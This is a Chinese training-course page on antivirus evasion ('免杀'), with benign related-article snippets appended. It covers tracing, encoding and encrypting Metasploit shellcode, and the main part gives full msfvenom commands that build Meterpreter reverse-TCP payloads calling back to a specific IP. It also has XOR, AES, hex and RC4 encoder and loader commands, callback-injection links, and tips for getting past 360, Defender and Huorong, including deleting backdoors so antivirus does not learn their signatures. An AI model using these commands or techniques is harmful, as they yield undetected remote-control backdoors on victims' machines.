107-免杀对抗-CC++溯源ShellCode上线混淆变异算法回调编译执行

news/2024/10/12 21:58:18

image

知识点

#知识点:

1、ShellCode-分析&朔源&感知
2、ShellCode-混淆&编码&算法
3、回调执行解析-API&汇编&句柄

#章节点:

编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态

对抗目标:
X60 Defender 某绒 管家 VT等

编程语言:
C/C++ Python C# Go Powershell Ruby Java ASM等

涉及技术:
ShellCode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等

演示案例

1、C/C++-ShellCode分析-OD&IDA&朔源

2、C/C++-ShellCode变异-编码混淆加密算法

3、C/C++-回调执行代码-汇编&句柄&API&UI等

#C/C++-ShellCode分析-OD&IDA&朔源

1、EXE朔源-IP及端口-杀毒分析
2、编译修改-IP及端口-威胁感知
reverse_tcp.asm
https://www.cnblogs.com/Akkuman/p/12859091.html
https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb

#C/C++-ShellCode变异-编码混淆加密算法

Xor Aes Hex Rc4 Rsa等
https://github.com/Arno0x/ShellcodeWrapper

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw > shellcode.raw

1、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi xor
CS&MSF
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=47.94.236.117 lport=3333 -f raw > shellcode.raw
python xor.py -s shellcode.bin -d payload.c -n 10 -r out.bin

2、python2 shellcode_encoder.py -cpp -cs -py shellcode.raw xiaodi aes

3、Hex
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
https://gchq.github.io/CyberChef/
https://github.com/ByPassAVTeam/ShellcodeLoader
LoaderMaker.exe download.dat(hex数据) xiaodi.exe(生成文件名)

4、Rc4
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
https://blog.csdn.net/weixin_45590789/article/details/105536623

#C/C++-回调执行代码-汇编&句柄&API&UI等

Callback_Shellcode_Injection-main
https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection

总结

今天主要讲的是shellcode混淆免杀:
1、首先明确为什么不对exe类型做手脚,而是对shellcode做手脚?
因为对exe类型做手脚(如加壳)可以免杀,但是可能导致出错,无法上线。
而对shellcode进行操作,再编译打包成exe,一般不会有这种问题。
2、杀软如何检测到病毒的?
一般是通过逆向分析后门文件,匹配病毒特征检测到的。
3、如何用shellcode实现免杀?
今天讲的是使用加密算法(如XOR、AES、Hex、RC4)对shellcode进行加密混淆,然后解密传入,实现免杀。
4、为什么msf或cs上线了,但是一会儿又掉线了,且IP很奇怪?
可能是对方杀软将后门放在云沙箱里执行了。
5、注意事项:实验完后记得清除后门文件,不然容易被杀软捕获特征,下一次可能无法免杀了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/70830.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

axios二次封装

axios二次封装有利于减少代码量,更好的管理api ①在src目录下创建api目录。api目录用于存放今后页面不同模块的接口信息。 具体的接口含义如下:②将来要实现的效果如下:import axiosRequest from "./utils/request/http"; axiosRequest({path: "product"…

IDEA中git提交前如何关闭code analysis以及开启格式化代码

前言 我们在使用IDEA开发时,经常是和GIT一起来使用的,可以说,IDEA和GIT结合的非常好,是深度绑定的,使用起来非常方便。 今天,介绍一下IDEA在提交代码前的一些设置。 我们是不是经常遇到一个问题,那就是我们在执行commit和push的时候,IDEA默认会执行代码检查,这是保证我…

idea-java序列化serialversionUID自动生成

简介 java.io.Serializable 是 Java 中的一个标记接口(marker interface),它没有任何方法或字段。当一个类实现了 Serializable 接口,那么这个类的对象就可以被序列化和反序列化。序列化是将对象的状态转换为字节流的过程,这样可以方便地将对象存储到文件中或者通过网络传…

高级语言程序设计课程第三次个人作业

姓名:林永庆 学号:102400121 班级:https://edu.cnblogs.com/campus/fzu/2024C 作业:https://edu.cnblogs.com/campus/fzu/2024C/homework/13284 4.8 2 记得是\n3 指数是%e4 数组保存名字6 %d 可以动态指定长度7 FLT_DIG是%d形式的8 注意type5.11 1 局部变量和全局变量的区别…

记一次docker overlay2目录空间占用过高问题

背景 最近需要频繁本地构建镜像以及调试 POD,导致磁盘空间告警 分析 查看当前磁盘使用情况# df -h发现这个目录下占用了不少空间 docker 常见的造成磁盘告警的原因有,知道原因之后就可以开始清理工作了/var/lib/docker/containers # 容器 /var/lib/docker/volumes # 数据卷…

IP数据报

IP数据报的格式 一个IP分组(或称IP数据报)由首部和数据部分组成。首部前一部分的长度固定,共20B,是所有IP分组必须具有的。在首部固定部分的后面是一些可选字段,其长度可变,用来提供错误检测及安全等机制。IP数据报的格式如图4.5所示。版本。占4位。指IP的版本,IPv4数据报中…

辐射换热

热力学u能-电磁波能-热力学能 辐射角度不同强度不同 温度不同,波长不同波长*频率=3*10,8真空中光的传播速度 可见光波长0.38紫色--0.76红色热辐射又称为红外辐射吸收率+反射率+穿透率=1深处黑房间光进去基本出来少看着黑开尔文温度实际物体辐射力小于黑体凹x有,凸x1-1为0

连通性问题大杂烩

前言 连通性问题确实时一大比较难啃得蛋糕,每次都要先学习一遍,还不如一次学到通 无向图的连通性问题 求割点 连通图:连通图内的所有点都可以互相到达 割点:将割点删掉后整张图不连通 定理1: 一个点s是割点,当且仅当s作为该连通图的根时,会把连通图分为不相连的几部分 定…